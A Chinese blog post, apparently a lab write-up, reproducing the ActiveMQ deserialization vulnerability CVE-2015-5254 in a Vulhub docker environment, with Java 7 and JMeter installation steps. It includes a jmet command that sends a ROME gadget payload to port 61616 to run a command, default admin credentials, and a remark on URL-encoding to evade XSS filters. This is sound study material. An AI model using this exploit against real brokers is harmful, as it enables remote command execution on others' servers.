【Vulhub成长记录Day2】复现ActiveMQ反序列化漏洞+jmeter安装


前言

这是vulhub的第一个漏洞,但是我相信大部分人都没有做过,因为虽然漏洞简单,但是实际操作起来需要解决的问题真的很多。下面请大家跟我一起,过一遍这个漏洞复现。
本文参考了Powershell的文章toby123的文章,对CVE-2015-5254靶场进行攻击。
他们的实验非常顺利,而我比较笨,用了足足十五个小时才完成这次复现。
1.理解序列化和反序列化
2.安装jmet(windows和linux皆可,大佬的链接挂了,我从github下载了一下午,放在网盘里了,评论区附百度网盘链接)
3.java7安装。sun.reflect方法弃用,java7及以前版本可用。
4.虚拟机和主机同步文件。
5.jmeter安装。一开始搞错了,以为jmeter等于jmet,其实完全不是。jmet是java写的可执行文件。jmeter用来测试负载均衡。但是既然装了jmeter就记录一下。

  • 攻击机:kali虚拟机
  • 靶机:在windows主机运行的ubuntu
  • 环境:java7
  • 工具:jmet

一、什么是序列化和反序列化

序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程,一般将对象转换为字节流
反序列化(Deserialization):从序列化的表示形式中提取数据,即把有序字节流恢复为对象的过程

反序列化攻击分类

●对象和数据结构攻击:应用中存在反序列化过程中或者之后被改变行为的类
●数据篡改攻击:使用了当前序列化的数据结构,但是内容被改编

个人认为,利用web中的url转义来绕过一些限制(比如xss注入防御)也是反序列化。(翻笔记):比如<对应%3C,>对应%3E,空格对应%20,"对应%22,用它们可以绕过对于这些字符的过滤。

二、安装jmet

感谢toby123,我终于找到了jmet的链接,官网给的链接找不到的原因是作者在第一版放了jar包,更新后没放。理论上,可以像我一样从GitHub里下载jmet的jar包,但是非常慢,也可以选择从评论区我分享的网盘上下载(链接挂了喊我)。如果虚拟机没有网盘,可以本机装好了再放到共享文件夹中。
wget
总之就是一个目录,下面放一个jmet-0.1.0-all.jar,一个同级的空的external文件夹——可用mkdir external,即可。
在这里插入图片描述

三、启动靶场环境

cd到vulhub如下目录
路径
我的路径供参考:

cd vulhub/vulhub/activemq/CVE-2015-5254
docker compose up -d

启动靶场
查看运行中的容器,得知开放了8161端口和61616端口

docker compose ps

ps查看镜像
ifconfig命令,查看本机ip地址,后面加上冒号端口号,登录网站。

登录成功
但是61616端口无法登录,这是因为8161端口是输出端口,61616端口是输入端口。我们在8161可以看到消息的展示情况,61616可以接受我们发送的消息。

四、EXP

1.登录网站

登录,点第一行链接,账户密码都是admin
http://Your_IP:8161/admin/browse.jsp?JMSDestination=event
查看进程事件(改自己IP,从靶机ipconfig或者ifconfig看,用网线就看以太网,IP一般结尾不是.1)。
在这里插入图片描述

2.sun.reflect方法弃用

输入代码运行(后面有),报了这么一个错误,度娘告诉我这是因为Oracle在java8+已经弃用了sun.reflect方法。查看java版本,果然是java21。这个漏洞应该很老了,但是来都来了,那就装一个java7吧。
java版本不对

3. 安装java7

参考mrwuzs的文章
如果存在java环境,这里应该有个jvm目录。没有就mkdir jvm然后cd进来。
在这里插入图片描述

官网链接

下载一个较早版本的java环境。需要从Oracle下载,我也会上传到评论区我的百度网盘里。
下载完的gz包直接解压会报错,在开始菜单里,右键WinRAR-更多-以管理员身份运行,找到这个压缩包解压才可以成功,网盘直接解压zip应该可以。

在虚拟机共享文件夹的配置,笔者用C设计者的文章解决,打开cd /mnt/hgfs可以看到创建的共享文件夹
在这里插入图片描述
拷贝到jvm目录下,顺便改个名字

cp -r jdk-7-linux-i586 /usr/lib/jvm/java-7-sun

配了半天,排查发现原来java包里面还有一层,进入profile,在最后输入配置

vim /etc/profile
export JAVA_HOME=/usr/lib/jvm/java-7-sun/jdk1.7.0  
export JRE_HOME=${JAVA_HOME}/jre  
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib  
export PATH=${JAVA_HOME}/bin:$PATH

在这里插入图片描述

source /etc/profile

或者

. /etc/profile

激活配置,java -version如果是1.7就成功了。【有的教程也会教配置.bashrc,profile里面也调用了它,理论上可以。但是我的bashrc本来就是错误的,根本保存不了,故此不用。】
在这里插入图片描述

4. 回归正题,使用jmet

到有jmet的jar包的目录下,再次输入

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME **Your_ip** 61616

发送创建/tmp/success文件的指令
在这里插入图片描述

终于成了哈哈哈哈哈哈哈咳咳
在这里插入图片描述
点击Message ID底下那条消息就会跳转到
在这里插入图片描述
此时应当在靶机/tmp创建了success文件,当然这里切换到/tmp是不能找到的,原因是创建在容器里了。
在靶机启动的位置,输入

docker compose exec activemq bash

进入容器。不行的话就docker-compose exec activemq bash试试
在这里插入图片描述
我们在容器里成功创建文件,复现反序列化漏洞。
输入exit退出容器。
输入docker compose down关闭镜像。

五、安装jmeter工具

1.jmeter简介

【与漏洞复现无关,只是做都做了,顺便记一下】
Apache JMeter是一款纯java编写负载功能测试和性能测试开源工具软件。它可以发送编辑的HTTP消息给网站,这里用来注入反序列化命令。

2.安装过程

apt install是不行的,需要wget从网上下载。
安装过程参考了白清羽大佬的这篇文章,但是是装的最新版
依次执行以下命令

sudo -i
cd ~
mkdir jmeter
wget https://dlcdn.apache.org//jmeter/binaries/apache-jmeter-5.6.3.zip

下载

等下载好后,你的管理员根目录的jmeter文件夹中,就有了jmeter的压缩包。
压缩包

然后解压和配置路径即可。如果跟着我后面的步骤完成后,输入jmeter -v仍提示没有命令,请在评论区发送你的操作流程和cat /etc/profile的结果,我复现来帮你。
解压输入

unzip apache-jmeter-5.6.3.zip

打开/etc/profile进行配置

vim /etc/profile

在fi前面,最后三行输入

export JMETER_HOME=~/jmeter/apache-jmeter-5.6.3
export CLASSPATH=$JMETER_HOME/lib/ext/ApacheJMeter_core.jar:$JMETER_HOME/lib/jorphan.jar:$CLASSPATH
export PATH=$JMETER_HOME/bin:$PATH

输入:wq保存
vim
至此已配置完毕,运行配置

source /etc/profile

查看版本jmeter -v
在这里插入图片描述
linux安装jmeter成功!


总结

这个漏洞真的考验毅力,我希望我能为后来者开辟一条轻松一点的道路吧。看官大大,看到这里,如果觉得有用的话,请给我一个免费的赞吧,我会报以更多的免费知识分享~我们下篇文章再见:)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值